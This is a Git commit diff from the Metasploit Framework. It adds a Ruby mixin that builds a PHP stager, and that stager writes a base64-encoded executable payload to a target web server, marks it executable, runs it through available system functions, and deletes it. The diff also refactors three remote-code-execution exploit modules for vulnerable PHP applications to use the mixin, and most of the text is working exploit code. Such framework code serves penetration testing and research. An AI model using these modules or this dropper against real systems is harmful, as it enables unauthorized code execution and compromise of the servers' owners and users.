Add a mixin for uploading/executing bins with PHP

And use it in three modules that had copy-paste versions of the same
idea.
unstable
James Lee 2012-10-12 02:57:41 -05:00
parent 0adabb1e06
commit 13a5892e95
5 changed files with 156 additions and 177 deletions

View File

@ -0,0 +1,88 @@
# -*- coding: binary -*-
##
# $Id$
##
###
#
# This module exposes a simple method to create an payload in an executable.
#
###
load 'lib/msf/core/payload/php.rb'
module Msf
module Exploit::PhpEXE
include Exploit::EXE
include Payload::Php
#
# Generate a first-stage php payload.
#
# For ARCH_PHP targets, simply returns payload.encoded wrapped in <?php ?>
# markers.
#
# For target architectures other than ARCH_PHP, this will base64 encode an
# appropriate executable and drop it on the target system. After running
# it, the generated code will attempt to unlink the dropped executable which
# will certainly fail on Windows.
#
# @option opts [String] :writable_path A path on the victim where we can
# write an executable. Uses current directory if not given.
# @option opts [Boolean] :unlink_self Whether to call unlink(__FILE__); in
# the payload. Good idea for arbitrary-file-upload vulns, bad idea for
# write-to-a-config-file vulns
#
# @return [String] A PHP payload that will drop an executable for non-php
# target architectures
#
# @todo Test on Windows
def get_write_exec_payload(opts={})
case target_arch.first
when ARCH_PHP
php = payload.encoded
else
bin_name = Rex::Text.rand_text_alpha(8)
if opts[:writable_path]
bin_name = [opts[:writable_path], bin_name].join("/")
else
bin_name = "./#{bin_name}"
end
if target["Platform"] == 'win'
bin_name << ".exe"
print_debug("Unable to clean up #{bin_name}, delete it manually")
end
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q{
error_reporting(0);
$ex = "#{bin_name}";
$f = fopen($ex, "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
chmod($ex, 0777);
function my_cmd($cmd) {
#{php_preamble}
#{php_system_block};
}
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
my_cmd($ex . "&");
} else {
my_cmd($ex);
}
unlink($ex);
}
end
if opts[:unlink_self]
php << "unlink(__FILE__);"
end
php.gsub!(/#.*$/, '')
php.gsub!(/[\t ]+/, ' ')
php.gsub!(/\n/, ' ')
return "<?php #{php} ?>"
end
end
end

View File

@ -6,10 +6,17 @@ require 'msf/core'
###
module Msf::Payload::Php
def initialize(info = {})
super(info)
end
#
# Generate a chunk of PHP code that should be eval'd before
# #php_system_block.
#
# The generated code will initialize
#
# @options options [String] :disabled_varname PHP variable name in which to
# store an array of disabled functions.
#
# @returns [String] A chunk of PHP code
#
def php_preamble(options = {})
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
dis = '$' + dis if (dis[0,1] != '$')
@ -32,6 +39,20 @@ module Msf::Payload::Php
return preamble
end
#
# Generate a chunk of PHP code that tries to run a command.
#
# @options options [String] :cmd_varname PHP variable name containing the
# command to run
# @options options [String] :disabled_varname PHP variable name containing
# an array of disabled functions. See #php_preamble
# @options options [String] :output_varname PHP variable name in which to
# store the output of the command. Will contain 0 if no exec functions
# work.
#
# @returns [String] A chunk of PHP code that, with a little luck, will run a
# command.
#
def php_system_block(options = {})
cmd = options[:cmd_varname] || '$cmd'
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
@ -102,12 +123,12 @@ module Msf::Payload::Php
# Currently unused until we can figure out how to get output with COM
# objects (which are not subject to safe mode restrictions) instead of
# PHP functions.
win32_com = "
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$wscript = new COM('Wscript.Shell');
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
#{output} = file_get_contents('%TEMP%\\out.txt');
}else"
#win32_com = "
# if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
# $wscript = new COM('Wscript.Shell');
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
# #{output} = file_get_contents('%TEMP%\\out.txt');
# }else"
fail_block = "
{
#{output}=0;

View File

@ -6,12 +6,13 @@
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -26,8 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
'sinn3r' #Metasploit
'Yakir Wizman <yakir.wizman[at]gmail.com>', # Original discovery
'sinn3r' # Metasploit
],
'References' =>
[
@ -36,11 +37,10 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
# Goes in the query string, needs to fit in 8k. Leave a little
# exra for the other params and the path.
'Space' => 8000,
'DisableNops' => true
},
'Platform' => ['linux', 'php'],
'Targets' =>
@ -72,42 +72,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_status("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end
def exploit
@peer = "#{rhost}:#{rport}"
@ -121,31 +85,16 @@ class Metasploit3 < Msf::Exploit::Remote
# Configure payload names
#
php_fname = Rex::Text.rand_text_alpha(5) + ".php"
bin_fname = Rex::Text.rand_text_alpha(5)
@clean_files = [php_fname]
#
# Generate a payload based on target
#
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_fname << '.bin'
@clean_files << bin_fname
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_fname}", bin)
end
#
# Upload payload
#
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")
print_status("#{@peer} - Uploading payload")
res = send_request_cgi({
'uri' => "#{base}/includes/savepage.php",
'vars_get' => {
'savepage' => php_fname,
'pagecontent' => p
'pagecontent' => get_write_exec_payload(:unlink_self=>true)
}
})
@ -158,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Run payload
#
print_status("#{@peer} - Requesting '#{php_fname}'")
send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})
send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" })
handler
end

View File

@ -6,12 +6,13 @@
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -26,8 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
'dun', # Discovery, PoC
'sinn3r' # Metasploit
],
'References' =>
[
@ -38,10 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
@ -76,46 +73,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
#
# Embed our binary in PHP, and then extract/execute it on the host.
#
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_status("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end
#
# login unfortunately is needed, because we need to make sure blogID is set, and the upload
# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
@ -198,18 +155,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
@clean_files = [php_fname]
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end
p = get_write_exec_payload(:unlink_self=>true)
upload_exec(cookie, base, php_fname, p)
end
end

View File

@ -6,12 +6,13 @@
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -75,41 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_debug("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
print_debug("File removed: #{f}")
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end
def upload_php(base, fname, php_payload, folder_name)
data = Rex::MIME::Message.new
data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
@ -133,7 +99,6 @@ class Metasploit3 < Msf::Exploit::Remote
# Body example:
# 0 ./upload/test/test.txt-0001
uri = body.scan(/(\/.+$)/).flatten[0]
@clean_files << File.basename(uri)
res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
@ -151,19 +116,14 @@ class Metasploit3 < Msf::Exploit::Remote
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")
folder_name = Rex::Text.rand_text_alpha(4)
# Don't create a directory on the target since it complicates
# cleaning up after ourselves
#folder_name = Rex::Text.rand_text_alpha(4)
folder_name = ""
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
@clean_files = []
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end
p = get_write_exec_payload(:unlink_self=>true)
print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
res = upload_php(base, php_fname, p, folder_name)
@ -177,3 +137,17 @@ class Metasploit3 < Msf::Exploit::Remote
exec_php(base, res)
end
end
=begin
Relevant code from tools/upload_file.php
$folder = rtrim( './upload/' . $_POST['folder'] , '/');
mkdir($folder, 0777, true);
$seq = str_pad((int) $_POST["part"],4,"0",STR_PAD_LEFT);
move_uploaded_file($_FILES["file"]["tmp_name"],
$folder . '/' . $_FILES["file"]["name"] . '-' . $seq );
Note that it stores the uploaded files in tools/upload/ not upload/
=end